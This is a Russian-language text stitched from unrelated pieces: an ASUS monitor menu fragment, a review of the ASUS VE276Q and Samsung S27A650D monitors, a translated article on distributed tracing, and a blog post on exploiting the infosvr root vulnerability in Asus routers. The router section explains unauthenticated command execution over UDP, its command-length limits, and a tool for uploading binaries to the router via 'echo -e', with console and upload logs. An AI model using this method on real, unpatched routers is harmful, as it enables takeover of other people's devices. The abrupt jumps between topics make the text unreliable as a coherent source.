Overscan” доступен только с

входным сигналом HDMI.)

ASCR: Включение/выключение функции ASCR (ASUS Smart

Contrast Ratio). (Функция доступна только в пейзажном и

Положение: Настройка положения изображения по

горизонтали (Пoлoж. Пo Гopизoн.) и вертикали (Пoлoж.Пo

Вepтик.) Диапазон настройки от 0 до 100 (только для входа

Фокусировка: Настройка положения изображения

погоризонтали (Пoлoж. Пo Гopизoн.) и по вертикали (Пoлoж.

Пo Вepтик.). Диапазон настройки от 0 до 100 (только

Автонастройка: Автоматическая настройка параметры

изображения для достижения оптимального положения,

частоты и фазы. (только длявхода VGA)

• В параметре "Фаза" настраивается фаза сигнала синхронизации

пикселов. При неправильной настройке фазы на экране отображаются

помехи в виде горизонтальных полос.

• Синхронизация (частота пикселов) определяет число пикселов,

просканированных при одном горизонтальном проходе. При

неправильной установке частоты на экране отображаются помехи в виде

вертикальных полос, а также нарушаются пропорции изображения.

Меню и управление

Управление монитором ASUS VE276Q осуществляется шестью механическими клавишами, расположенными на нижней грани. С их помощью возможно быстрое переключение режимов Splendid, активация функции PiP, регулировка громкости встроенной звуковой системы, вход в меню и соответствующая навигация в нём, быстрое изменение яркости и переключение источника сигнала.

Легкость управления нивелируется необходимостью искать их на ощупь. Всё-таки более привычно, когда кнопки находятся прямо перед глазами. В правом углу, на уровне клавиш управления находится синий светодиод, сигнализирующий о работе монитора. Из-за его положения он остаётся практически незаметным и не бросается в глаза даже в тёмной комнате, разве что немного освещает стол.

Меню ASUS VE276Q практически с точностью повторяет таковое в рассмотренном ранее ASUS ML239H. Оно смотрится красочно и современно, все возможные настройки сосредоточены в семи основных разделах. Для выбора доступен русский язык.

реклама

Переключение режимов Splendid занимает первую строчку, вместо более привычных настроек яркости и контрастности, которые в продукте ASUS запрятаны в разделе Color. Там же возможно изменение цветовой температуры (Color Temp) и оттенка кожи (Skin Tone), но только в нескольких режимах. Некоторые ограничения накладываются и для регулировки насыщенности (Saturation), и активации динамической контрастности изображения ASCR (ASUS Smart Contrast Ratio). Такая возможность допустима только для Scenery, Theater, Game и Night View Mode.

В разделе Sound доступны настройки встроенной аудиосистемы, в том числе – источника сигнала, высоких и низких частот, а также изменение баланса.

PIP Setting предназначен для использования функции «картинка в картинке». Она может быть полезна для людей, работающих с двумя источниками видеосигнала и которым требуется одновременная работа с ними. Достаточное количество настроек позволяет определить источник основного и второстепенного сигналов, изменить размер второго «окна» и его расположение на экране.

реклама

Дизайн меню претерпел серьёзные изменения с последней моей встречи с дисплеями компании Samsung. Чёрно-серая гамма эффектно смотрится и не режет глаза. Основным отличием меню S27A650D от детища ASUS я бы назвал нижние пиктограммы, указывающие на функциональную принадлежность клавиш. Это очень удобно, особенно при низкой освещенности помещения или ночью, когда надписи на кнопках не видны.

Меню представляет собой пять секций. В Picture возможно выбрать режим работы Magic Bright и Magic Color, поправить яркость и контраст, увеличить резкость и включить «разгон» матрицы. Под вкладкой Color скрывается регулировка трёх основных каналов монитора, выбор цветовой температуры и настройка гаммы (доступно три режима). С Size&Position, я думаю, всё понятно.

В Setup&Reset пользователь может настроить положение и внешний вид OSD, выбрать режим работы энергосберегающих функций (чувствительность датчика освещённости и время активации сенсора движения для выключения монитора в отсутствии пользователя) и предназначение кнопки ECO (на выбор: ECO, Magic и Image Size). В последней закладке Information можно увидеть всю необходимую информацию по устройству. В целом – все самое необходимое у монитора есть, привыкать к работе с меню не приходится, все наглядно и просто. Для незнающих английский присутствует возможность выбора русского языка.

Результаты тестирования

ASUS VE276Q

Монитор ASUS в качестве подсветки использует технологию W-LED.

На CIE диаграмме треугольник цветового охвата смещён в верхнюю часть, за счёт чего невозможно полностью покрыть стандарт sRGB. Про AdobeRGB можно и не вспоминать, для него чаще используют RGB-LED подсветку, но это совсем другие деньги и иной класс устройств.

реклама

На двух видеороликах внутренняя фигура представляет охват ASUS VE276Q, внешние – стандартные пространства для сравнения. Полученные процентные соотношения цветовых охватов монитора составляют: 88/7% sRGB и 69% AdobeRGB. Эти значения были получены в режиме сравнения Perceptual, с отсечением цветов и оттенков, выходящих за границы референсных значений.

По полученным результатам можно говорить о том, что протестированный монитор слабо подходит для работы с графикой. Более того – он является первым встреченным мною настольным дисплеем, который продемонстрировал столь низкое покрытие sRGB стандарта. Касаемо встроенного предустановленного режима sRGB – чисто физически улучшить результаты охвата с его помощью невозможно – не стоит надеяться на чудо. Если же кто-то и решится редактировать фотографии на VE276Q – обязательно используйте ICMICC профили и ПО, поддерживающее работу с Color Management. Без этого никуда.

Яркость и контрастность

В каждом из предустановленных режимов настройки яркости и контрастности одинаковы и составляют 80% и 90% соответственно. Исключеним здесь является лишь sRGB, где возможность регулировки заблокирована.

реклама

Отдельно отмечу результаты, полученные при активированном sRGB. В этом режиме измеренная яркость оказалась равной 157 нит, что никак не вяжется с рекомендуемыми стандартами 80-120 единицами. Значение коэффициента контрастности снизилось почти вдвое, а средняя гамма приблизилась к референсу в 2.2.

Для достижения яркости в 100 нит настройки монитора были выставлены следующим образом: контраст – 50, яркость – 49, цветовая температура – User (100100100). С такими параметрами контрастность упала до 588:1, а среднее значение гаммы составило 2.14.

Почти такого же результата можно достичь и без специального прибора. Стоит лишь опустить контраст с предустановленного значения в 80% до 50%. Это простое действие приводит средний показатель гаммы к 2.21, а яркость белого поля к 145 нит. В дальнейшем никто не мешает снизить и значение яркости до момента, когда вашим глазам будет комфортно, без какого-либо сильного искажения гамма-кривых.

реклама

Гамма-кривые, калибровка и профилирование

C помощью программы Colorimeter HCFR и прибора Eye-One Display 2 разберёмся, насколько точно настроены гамма-кривые в каждом из предустановленных режимов монитора. Для начала рассмотрим «пресет» Standard.

Гамма-кривые заметно подняты над референсной кривой. Это снижает контрастность изображения, делая его несколько мягким. По CIE диаграмме можно видеть, что распределение измеренных точек градиента далеко от идеала. Разброс цветовой температуры довольно серьёзный, кроме того можно отметить лёгкий паразитный жёлтый оттенок («Тинт»), заметно выделяющийся на светлых изображениях.

реклама

Отчёт UGRA подтвердил плохую настройку точки белого и проблемы с балансом серого. В остальном же – на первый взгляд не всё так плачевно, как иногда бывает у более дорогих моделей.

В предустановленных режимах Splendid гамма-кривые не отличаются высокой точностью настройки. Где-то изменение оттенков происходит ступенчато, где-то все они заметно высветлены (в Night View – видимо для меньшей нагрузки на глаза). Лишь пресет Theater кажется интересным с точки зрения более или менее правильной цветопередачи. Но честно – я бы не стал применять ни один из них. Кроме режима Standard и снижения контрастности до значения 50% – здравомыслящему пользователю ничего больше не понадобится.

реклама

Распределение точек градиента во всех пресетах практически одинаково. Можно разве что выделить две пары по общей схожести – Game и Night View, Scenery и Theater.

Дополнительно была проведена проверка монитора при активированной динамической контрастности в режиме Scenery (один из немногих, в котором ASCR можно включить). Главным отличием стал меньший всплеск кривых во второй половине графика вкупе с большим расстоянием каналов друг от друга. Как вы понимаете – на качестве передачи это сказывается не лучшим образом. Говоря о CIE диаграмме можно отметить практически отсутствие изменений.

реклама

Самым беспроблемным и быстрым способом приведения экрана в «норму», как и оказалось ранее, стал вариант с уменьшением значения контраста до 50% через меню монитора. Гамма-кривые моментально ложатся на референс с небольшим, еле заметным отклонением. Никаких сложных настроек на глаз и траты денег на калибровку. Всё просто и доступно. Единственное «но» – таким образом баланс серого всё равно не улучшить.

Аналогичные результаты наблюдаются и при приведении яркости до 100 нит, путём снижения параметра Brightness до 49% при Contrast – 50%. Значит, достичь на ASUS VE276Q почти идеальных кривых с адекватной яркостью может каждый, затратив на эту процедуру не более одной минуты.

реклама

В ходе калибровки настройки дисплея приняли следующий вид:

  • Brightness – 85%;
  • Contrast – 50%;
  • Color – User (777098).

С помощью указанных настроек яркость монитора составила 100 нит при цветовой температуре белой точки в 6500K. Вышеуказанные значения даны лишь как пример, а поэтому я не рекомендую их к использованию, поскольку каждый монитор нуждается в собственной настройке.

Полученные гамма-кривые лежат более плотно на референсной линии с гаммой 2.2, нежели при простом снижении контраста до 50%. Улучшения заметны и на CIE диаграмме. Теперь жёлтый оттенок полностью пропал, а измеренные точки лежат ещё ближе друг к другу. Разброс цветовой температуры сократился почти на половину.

Итогом калибровки и профилирования стал полученный «сертификат» UGRA на соответствие монитора нескольким цветовым пространствам (хотя это несколько странно, с учётом цветового соответствия sRGB на 88.7%) и хорошее качество цветопередачи. Все четыре главных параметра дошли до зелёной зоны, хотя некоторым из них это далось с большим трудом.

Введение в паттерн распределенной трассировки

Когда дело доходит до работоспособности и мониторинга, распределенная архитектура может подкинуть вам пару проблем. Вы можете иметь дело с десятками, если не сотнями микросервисов, каждый из которых мог быть создан разными командами разработчиков.

При работе с крупномасштабной системой очень важно следить за ключевыми показателями этой системы, работоспособностью приложений и достаточным объемом данных, чтобы иметь возможность быстро отслеживать и устранять проблемы. Пребывание в ОБЛАЧНОЙ среде, такой как AWS, Google Cloud, Azure, еще больше усугубляет проблему и затрудняет обнаружение, устранение и локализацию проблем из-за динамического характера инфраструктуры (вертикальное масштабирование, временные машины, динамические IP-адреса и т. д.).

Базис наблюдаемости:

Метрики – метрики приложений, метрики хоста/системы, метрики сети и т. д.

Логи (журналы) – логи приложений и поддерживающей инфраструктуры

Трейсы (трассировки) – отслеживание прохождения запроса через распределенную систему

В этой статье я сосредоточусь на двух аспектах наблюдаемости: логах (только сгенерированных приложением) и трейсах.

Использование централизованной системы логирования в распределенной архитектуре, чтобы иметь возможность собирать логи и визуализировать их, стало обычной практикой. Логи, сгенерированные различными микросервисами, будут автоматически отправляться в централизованную базу для хранения и анализа. Вот некоторые из популярных решений централизованных систем логирования для приложений:

Логи предоставляют полезную информацию о событиях, которые произошли в вашем приложении. Это могут быть логи INFO-уровня или логи ошибок с подробными стек трейсами исключений.

Кореляция логов между микросервисами

Централизованная система логирования в большом распределенном приложении может принимать гигабайты данных в час, если не больше. Учитывая, что запрос может проходить через несколько микросервисов, один из способов получения всех логов, связанных с запросом, охватывающим несколько микросервисов, – это присваивать каждому запросу какой-нибудь уникальный идентификатор (id).

В большинстве случаев это может быть userId, связанный с запросом, или какой-нибудь уникальный UUID, сгенерированный в первой точке входа в приложение. Эти идентификаторы будут прикреплены к каждому сообщению в логе и будут передаваться последовательно от одного микросервиса к другому в заголовке запроса (в случае, если идентификатор не является частью последовательно обрабатываемого запроса). Так можно легко использовать requestId или userId для запроса к системе логирования, чтобы найти все логи, связанные с запросом в нескольких сервисах.

Рисунок 1. Централизованное логирование.

Ниже приведены несколько примеров того, как пометить (tag) ваши логи необходимой информацией на Java с помощью фильтров запросов (RequestFilter).

Рисунок 2: Конфигурация и образец лога Log4J2

Рисунок 3: Фильтры запросов по UUID или UserId

Трассировка

Трассировка – это метод, который позволяет профилировать и контролировать приложения во время их работы. Трейсы предоставляют полезную информацию, такую ​​как:

Путь запроса через распределенную систему.

Задержка запроса при каждой пересылке/вызове (например, от одного сервиса к другому).

Ниже приведен пример трассировки для запроса, взаимодействующего с двумя микросервисами (сервисом-аукционом рекламы и сервисом-интегратором рекламы).

Рисунок 4. Трассировка

В приведенном выше примере данные были захвачены и визуализированы с помощью инструмента DataDog. Есть несколько других способов захвата трейсов, о которых я расскажу в следующем разделе.

Составляющие трейса

Трейс представляет из себя древовидную структуру с родительским трейсом и дочерними спанами. Трейс запроса охватывает несколько сервисов и далее разбивается на более мелкие фрагменты по операциям/функциям, называемые спанами. Например, спан может охватывать вызов от одного микросервиса к другому. В рамках одного микросервиса может быть несколько спанов (в зависимости от того, сколько уровней классов/функций или зависимых микросервисов вызывается для обслуживания запроса).

Трассировка зиждется на создании уникального идентификатора для каждого запроса в точке входа и распространения его на последующие системы в качестве контекста трассировки в заголовках запросов. Это позволяет связать различную трассировочную информацию, исходящую от нескольких служб, в одном месте для анализа и визуализации.

Корреляция логов и трейсов

В итоге мы можем фильтровать логи по userId или другому уникальному идентификатору (например, сгенерированному UUID) и можем отслеживать по трейсам производительность/поведение отдельного запроса. Было бы неплохо, если бы мы могли связать это воедино и иметь возможность сопоставлять логи и трейсы для конкретного запроса!!

Наличие такой корреляции между логами и запросами позволяет:

Сопоставлять метрики производительности напрямую с логами.

Направлять в систему специальный запрос для устранения неполадок.

Выполнять искусственные транзакции с системой в разные моменты времени и иметь возможность сравнивать текущие трейсы с историческими, а также автоматически собирать системные логи связанные с этими запросами.

Реализация распределенной трассировки с помощью корреляции логов и трейсов

ПОДХОД #1: Инструментация с помощью сторонних решений, таких как DATADOG

При таком подходе мы инструментируем сервисы в распределенных системах с DataDog APM (application performance monitors – системы мониторинга производительности приложений). Datadog выполняет 100%-ную трассировку запросов, а также может собирать логи, создаваемые вашими приложениями.

Datadog по существу берет на себя заботу о централизованном логировании и сборе трассировочной информации. Datadog генерирует уникальные идентификаторы трейсов и автоматически распространяет их на все инструментированные нижестоящие микросервисы. Единственное, что от нас требуется, это связать DD traceId с логами, и мы сможем получим корреляцию логов и трейсов.

Рисунок 6: Инструментация приложения с DataDog

Рисунок 7: Корреляция логов и трейсов в DataDog

ПОДХОД #2: ZIPKINS, CLOUD-SLEUTH СО SPRING BOOT

Полная интеграция в SPRING boot

Простота в использовании

Трейсы можно визуализировать с помощью пользовательского интерфейса Zipkins.

Поддерживает стандарты OpenTracing через внешние библиотеки.

Поддерживает корреляцию логов через контексты Log4j2 MDC.

Нет решения для автоматического сбора логов, связанных с трейсами. Нам придется самостоятельно отправлять логи в ElasticSearch и выполнять поиск, используя идентификаторы трейсов, сгенерированные cloud-sleuth (как заголовок X-B3-TraceId).

Рисунок 8: Zipkins, Cloud Sleuth и Spring Boot.

Читайте также: 

ПОДХОД #3: AMAZON XRAY

Нативно поддерживает все ресурсы AWS, что очень хорошо, если ваши распределенные сервисы развернуты и работают в AWS

Балансировщики нагрузки AWS автоматически генерируют идентификаторы (REQUEST ID) для каждого входящего запроса, что освобождает приложение от этой заботы. (Ссылка)

Позволяет выполнять трассировку на всем пути от шлюза API до балансировщика нагрузки, сервиса и других зависимых ресурсов AWS.

Реализует корреляцию логов с помощью логов в CLOUDWATCH logs

Cloudwatch log может стать очень дорогими при большом объеме логов

Поддерживает opentracing по умолчанию

Имеет библиотеки, которые работают со Spring

Поддерживает Jager Agent, который можно установить в качестве средства распространения трейсов и логов.

С точки зрения обслуживания и настройки инфраструктуры достаточно сложен.

ЗАКЛЮЧЕНИЕ

Логи и трейсы сами по себе безусловно полезны. Но когда они связаны вместе с помощью корреляции, они становятся мощным инструментом для ускорения устранения проблем в производственной среде и в то же время дают девопсу представление о работоспособности, производительности и поведении распределенных систем. Как вы увидели выше, существует несколько способов реализации этого решения. Выбор за вами 🙂

Перевод статьи подготовлен в преддверии старта курса “Архитектура и шаблоны проектирования”. Узнать подробнее о курсе.

Эксплуатируем root-уязвимость в роутерах Asus

В начале 2015 года компания Asus исправила критичнейшую уязвимость в своих роутерах. «Дыра» была в службе по имени infosvr, использующейся утилитами Asus для облегчения настройки роутера путём его автоматического обнаружения в локальной сети. Уязвимость позволяла выполнять любые команды с правами root (ведь infosvr тоже root), что давало злоумышленнику полный контроль над системой.

Но Asus выпустила исправленные прошивки. Теперь это всё в прошлом. Или нет? Хм… А как часто обыватели обновляют прошивки на своих роутерах?

Прошу под кат за подробностями, историей обнаружения, исследованиями, инструкциями и… эксплоитами.

В чём дело?

Вероятно, там вместо memcpy предполагалось memcmp (вот что бывает когда копируете строки кода, с целью чуть-чуть подправить потом), а вместо == предполагалось !=. Но даже если бы этой ошибки не было, всё равно для проникновения достаточно было бы знать MAC-адрес .

После успешной «аутентификации» команда из пакета будет выполнена:

А теперь, хотите квест?
  • Идите сюда
  • Выберите любой маршрутизатор
  • Пройдите по пути Поддержка -> Драйверы и утилиты -> ОС -> Firmware
  • Ищите в списке прошивку за январь 2015-го
  • В описании к ней наверняка есть скупая фраза “Fixed infosvr security issue.
  • .
  • .

История обнаружения

Позже я узнал, что можно было вот так:

Не буду тут много рассказывать насколько это дерьмовый роутер. Кто сталкивался — знает. А для счастливчиков, кому не приходилось с ним возиться скажу, что роутеры Asus RT-xxxE (или RT-xxxLX) имеют процессор от Realtek, под который нет альтернативных прошивок! Хотя сообщество пытается. На официальных же прошивках я пару лет назад пользовался PPTP. Постоянные зависания, разрывы и прочие радости. PPPoE по началу вообще не поднимался (в какой-то прошивке исправили). Сейчас этот роутер работает просто как мост между WiFi и Ethernet.

Различие Asus RT-N10E и Asus RT-N10LX
По сути, это один и тот же роутер, Asus RT-N10LX имеет антенну на 2 dBi, RT-N10E – 5 dBi. В спецификациях к RT-N10LX указано дополнительно IEEE 802.11d – по сути, означает только то, что роутер учитывает региональные правовые ограничения в сфере связи, в связи с чем, используется более слабая антенна. Лично мне попался экземпляр (2012 года сборки) с малой антенной на 2 dBi, при этом вся маркировка на роутере и коробке говорит о том, что это RT-N10E, а не RT-N10LX. Если внимательно посмотреть информацию на официальном сайте, там это указано: «Antenna type will differ according to local regulations and requirement in each country» а также «This model sells only in EU, China, and South America». Как говорится, те же яйца, только в профиль. Прошивка в этих двух моделях одна и та же.

Различие Asus RT-N10E/LX и RT-N12E/LX
В 12-й модели тот же процессор, но другой контроллер – RTL8192CE, который позволяет использовать 2 MIMO, обеспечивая теоретически до 300 Мбит/сек. Отличие версий RT-N12E и RT-N12LX – в антеннах.

Различие Asus RT-N10E/LX и Asus RT-N10
У ASUS также есть роутеры RT-N10 и RT-N12. И тут важно понимать, это другие устройства, которые собраны на базе чипов Broadcom. Для RT-N10 и RT-N12 есть альтернативные прошивки энтузиастов, в том числе «от Олега». Будьте внимательны при покупке!

Итак, подключились к UARTу.

========== SPI =============
SDRAM CLOCK:156MHZ
— Force into Single IO Mode — |No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|
— —RealTek(RTL8196C)at 2012.04.09-16:54+0800 version v1.1f [16bit](390MHz)

####return_addr: 0x05010000, root_bin_offset: 0x050dd012
Jump to image start=0x80500000…
decompressing kernel:
Uncompressing Linux… done, booting the kernel.
done decompressing kernel.
start address: 0x80003600
RTL8192C/RTL8188C driver version 1.6 (2011-07-18)

Probing RTL8186 10/100 NIC-kenel stack size order[2]…
chip name: 8196C, chip revid: 4
NOT YET
eth0 added. vid=9 Member port 0x10…
eth1 added. vid=8 Member port 0x1…
eth2 added. vid=9 Member port 0x2…
eth3 added. vid=9 Member port 0x4…
eth4 added. vid=9 Member port 0x8…
[peth0] added, mapping to [eth1]…
init started: BusyBox v1.13.4 (2014-09-18 18:01:50 CST)

##flash.c free apmib ##
Init Start…

##system/sysconf.c free apmib ##

##flash.c free apmib ##
===== Set parameter for BSMI test=====
Init bridge interface…
syslog will use 64KB for log(7 rotate, 1 original, 8KB for each)
Init Wlan application…

##flash.c free apmib ##

##flash.c free apmib ##
Init Firewall Rules…
No wan ip currently!
Init WAN Interface…
start_wan: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1
set_dhcp_client: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1
start_wan_dhcp_client: iface eth1
No such process

MiniIGD v1.07 (2013.05.21-07:19+0000).

System TZ ENV = GMT-2
Restart networkmap

##system/sysconf.c free apmib ##
start infosvr
router ip = 192.168.1.1
mac addr = 50:46:5d:86:76:fc
WLAN0_WLAN_DISABLED=0 ##flash.c free apmib ##
sh: ##flash.c: unknown operand
# Start wanduck!
Start httpd!

# 1:Enable direct rule

После окончания загрузки я начал исследовать систему: версии ПО, железо и другую информацию, которую можно добыть при помощи консоли. Но об этом позже.

Интересно посмотреть реакцию на стандартные действия пользователя, как-то: нажатие на кнопку WPS, настройка через веб-морду, использование Asus Utility… Действительно, на консоли появлялась соответствующая информация. Отдельно стоит упомянуть такой факт: при попытке открыть веб-интерфейс httpd (предположительно) пишет в /dev/console (/dev/ttyS0) логин и пароль для входа!

Правда, на телнет (/dev/ttyp0) это не попадает.

Из всего пакета Asus Utility (Device Discovery, Router Setup Wizard и Firmware Restoration) реакцию консоли вызвал только Router Setup Wizard. А именно: при запуске приложения и нажатии на кнопку «Далее» появляются такие строки:

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

Хм…
Эти команды Router Setup Wizard передаёт? Посмотрел через Wireshark — да, эти команды передаются в UDP пакетах с RSW. А что если их заменить на свои?

Оказывается, я не первый

Перед тем, как начать ковыряться в пакетах, я решил погуглить. И нагуглил кое-что (раз и два). По второй ссылке подробное описание уязвимости и простой эксплоит под Линукс (есть и на python-е).

Велосипед AsusCmd

Мне хотелось бы иметь такую программку под Windows, поскольку Я 95% времени пользуюсь именно ей. Не хочется ради выполнения какой-то команды загружать виртуальную машину с Ubuntu.

Размеры

В процессе написания и отладки эксплоита, а также копания в исходниках infosvr выяснились «параметры» этой «дыры».
А именно её размеры. Они такие:
Размеры буферов приёма и отправки — по 420 байт. И всё бы неплохо, но реально 420 байт роутер может только отправить в ответе. А вот с приёмом дела ещё хуже. Дело в том, что после приёма команды infosvr обрезает её до 256 символов и только потом — исполняет. Но и это ещё не последнее ограничение. При выполнении команды длиной чуть менее 256 символов infosvr падает с грохотом segmentation fault. Команда выполнена, но ни ответа уже не будет, ни возможности исполнить ещё что-то. Опытным путём была найдена предельная безопасная длина пользовательской команды. Это 238 символов. Итак, размеры «дыры»: 238 — команда, 420 — ответ.

— жёстко запрограммировано в коде infosvr.

Кстати, зачем нужно перенаправление в /tmp/syscmd.out? А затем, что именно с него потом считывается в буфер 420 байт и отправляется ответ на команду.

«Предельная безопасная длина» относится именно к пользовательской команде.

Т.е. при длине пользовательской команды 238 символов длина полной команды будет 238+18=256. Может именно падения infosvr хотели избежать разработчики, когда обрезали команду до 256 символов? Похоже они не учли strlen(” > /tmp/syscmd.out”).

Експлоит написан и отлажен. Можно пользоваться.

Учтите, что после выполнения этой команды будет также убит sh, который связан с /dev/console. Теперь можно снова запускать telnetd.

Отлично. Тема исчерпана? Как-бы не так.

Продолжение банкета

Итак, мы можем пользоваться всеми доступными командами. Можем создавать и удалять файлы в каталогах, доступных для записи (ramfs /var). Можно записать несколькими командами длинный текстовый файл. Но не только текстовый! Ведь echo в Linux-е умеет преобразовывать текст в двоичные данные! Это значит, что мы можем заливать на роутер свои программы, которых нам не хватает!

AsusBinWrite
  • считываем порцию байт с файла-источника
  • преобразуем их в текстовый вид, понятный для ‘echo -e
  • формируем системную команду
  • отправляем на роутер
  • повторяем пока не перешлём весь файл
  • UDP пакеты, которые иногда теряются
  • Ограничение на полезную длину системной команды (238 символов)

С ограничением на полезную длину команды всё понятно: просто придётся больше пакетов отправить. Плохо в этом случае то, что страдает скорость передачи. Ведь процессору роутера приходится обрабатывать много мелких пакетов. Т.е. скорость передачи прямо пропорциональна скорости процессора роутера. (Проверено с помощью cpuload: во время работы AsusBinWrite CPU роутера грузится на 100%).

С UDP посложнее. Надо как-то контролировать правильность передачи. Примитивный способ — просто дописывать очередные байты в конец файла — не подходит. Стоит одному пакету на пути к роутеру потеряться или продублироваться — и файл уже бракован. Поэтому принято решение сначала записывать отдельные части в разные файлы и проверять их содержимое. А в потом их можно объединить. И ещё: объединять следует не в самом конце, а через какое-то количество переданных частей. Потому, что одна часть занимает места в памяти не, скажем, 40 байт (размер файла-части), а все 4 КБ (страница). А если частей тысячи? Никакой оперативки не хватит (На RT-N10E её лишь 16MB). После успешного объединения (успешность тоже проверяется по признаку увеличения размера целевого файла на роутере) эти части удаляются. Вот так в цикле передаём весь файл до конца. Получился такой-себе протокол надёжной передачи файлов на роутер посредством UDP.

Пример передачи исполняемого файла

Чтобы лучше понять алгоритм работы предлагаю посмотреть, что происходит на /dev/console (/dev/ttyS0) во время передачи файла и сопоставить это с выводом самого AsusBinWrite.

Start uploading file to 255.255.255.255…
Source file: ‘Useful\ldd’ Target file: ‘/var/ldd’
0.5% 742.4 Bps part 1 (49 B; cmd: 237 ch) ‎192.168.1.1: OK
1.0% 106.5 Bps part 2 (49 B; cmd: 237 ch) LOST
1.0% 32.7 Bps part 2 (49 B; cmd: 237 ch) 192.168.1.1: OK
1.5% 347.5 Bps part 3 (49 B; cmd: 237 ch) 192.168.1.1: OK
1.9% 159.1 Bps part 4 (49 B; cmd: 237 ch) שש192.168.1.1: OK
2.4% 150.3 Bps part 5 (49 B; cmd: 237 ch) ששLOST
2.4% 32.2 Bps part 5 (49 B; cmd: 237 ch) 192.168.1.1: OK
2.9% 376.9 Bps part 6 (49 B; cmd: 237 ch) שLOST
2.9% 32.6 Bps part 6 (49 B; cmd: 237 ch) 192.168.1.1: OK
3.4% 401.6 Bps part 7 (49 B; cmd: 237 ch) ש192.168.1.1: OK
3.9% 146.3 Bps part 8 (49 B; cmd: 237 ch) 192.168.1.1: OK
4.4% 102.3 Bps part 9 (49 B; cmd: 237 ch) ש192.168.1.1: OK
4.8% 150.0 Bps part 10 (48 B; cmd: 235 ch) 192.168.1.1: OK
5.3% 176.5 Bps part 11 (48 B; cmd: 235 ch) 192.168.1.1: OK
5.8% 120.9 Bps part 12 (48 B; cmd: 235 ch) שש192.168.1.1: OK
6.3% 145.5 Bps part 13 (48 B; cmd: 235 ch) 192.168.1.1: OK
6.8% 144.6 Bps part 14 (48 B; cmd: 235 ch) שLOST
6.8% 31.7 Bps part 14 (48 B; cmd: 235 ch) 192.168.1.1: OK
7.2% 285.7 Bps part 15 (48 B; cmd: 235 ch) 192.168.1.1: OK
7.7% 147.7 Bps part 16 (48 B; cmd: 235 ch) LOST
7.7% 32.0 Bps part 16 (48 B; cmd: 235 ch) 192.168.1.1: OK
8.2% 333.3 Bps part 17 (48 B; cmd: 235 ch) ש192.168.1.1: OK
8.7% 146.3 Bps part 18 (48 B; cmd: 235 ch) ש192.168.1.1: OK
9.1% 148.1 Bps part 19 (48 B; cmd: 235 ch) ש192.168.1.1: OK
9.6% 141.6 Bps part 20 (48 B; cmd: 235 ch) שש192.168.1.1: OK
10.1% 145.0 Bps part 21 (48 B; cmd: 235 ch) 192.168.1.1: OK
10.6% 145.5 Bps part 22 (48 B; cmd: 235 ch) ש192.168.1.1: OK
11.0% 148.1 Bps part 23 (48 B; cmd: 235 ch) שש192.168.1.1: OK
11.5% 145.9 Bps part 24 (48 B; cmd: 235 ch) ש192.168.1.1: OK
12.0% 137.5 Bps part 25 (48 B; cmd: 235 ch) 192.168.1.1: OK
12.5% 146.3 Bps part 26 (48 B; cmd: 235 ch) 192.168.1.1: OK
12.9% 151.9 Bps part 27 (48 B; cmd: 235 ch) שש192.168.1.1: OK
13.4% 172.0 Bps part 28 (48 B; cmd: 235 ch) ש192.168.1.1: OK
13.9% 126.0 Bps part 29 (48 B; cmd: 235 ch) שש192.168.1.1: OK
14.4% 173.3 Bps part 30 (48 B; cmd: 235 ch) שLOST
14.4% 31.7 Bps part 30 (48 B; cmd: 235 ch) 192.168.1.1: OK
14.8% 358.2 Bps part 31 (48 B; cmd: 235 ch) ש192.168.1.1: OK
15.3% 144.6 Bps part 32 (48 B; cmd: 235 ch) ש192.168.1.1: OK
15.8% 149.5 Bps part 33 (48 B; cmd: 235 ch) שש192.168.1.1: OK
16.3% 137.1 Bps part 34 (48 B; cmd: 235 ch) ש192.168.1.1: OK
16.7% 153.8 Bps part 35 (48 B; cmd: 235 ch) ש192.168.1.1: OK
17.2% 138.7 Bps part 36 (48 B; cmd: 235 ch) ש192.168.1.1: OK
17.7% 145.5 Bps part 37 (48 B; cmd: 235 ch) 192.168.1.1: OK
18.2% 140.4 Bps part 38 (48 B; cmd: 235 ch) 192.168.1.1: OK
18.7% 154.3 Bps part 39 (48 B; cmd: 235 ch) LOST
18.7% 32.0 Bps part 39 (48 B; cmd: 235 ch) LOST
18.7% 32.0 Bps part 39 (48 B; cmd: 235 ch) LOST
18.7% 31.6 Bps part 39 (48 B; cmd: 235 ch) 192.168.1.1: OK
19.1% 428.6 Bps part 40 (48 B; cmd: 235 ch) ש192.168.1.1: OK
19.6% 175.2 Bps part 41 (48 B; cmd: 235 ch) ש192.168.1.1: OK
20.1% 120.6 Bps part 42 (48 B; cmd: 235 ch) 192.168.1.1: OK
20.6% 146.3 Bps part 43 (48 B; cmd: 235 ch) ש192.168.1.1: OK
21.0% 150.0 Bps part 44 (48 B; cmd: 235 ch) שש192.168.1.1: OK
21.5% 145.0 Bps part 45 (48 B; cmd: 235 ch) ששLOST
21.5% 31.0 Bps part 45 (48 B; cmd: 235 ch) 192.168.1.1: OK
22.0% 363.6 Bps part 46 (48 B; cmd: 235 ch) ש192.168.1.1: OK
22.5% 137.9 Bps part 47 (48 B; cmd: 235 ch) 192.168.1.1: OK
22.9% 154.3 Bps part 48 (48 B; cmd: 235 ch) ש192.168.1.1: OK
23.4% 145.0 Bps part 49 (48 B; cmd: 235 ch) ששLOST
23.4% 31.9 Bps part 49 (48 B; cmd: 235 ch) 192.168.1.1: OK
23.9% 360.9 Bps part 50 (48 B; cmd: 235 ch) ששLOST
23.9% 31.8 Bps part 50 (48 B; cmd: 235 ch) 192.168.1.1: OK
24.4% 345.3 Bps part 51 (48 B; cmd: 235 ch) 192.168.1.1: OK
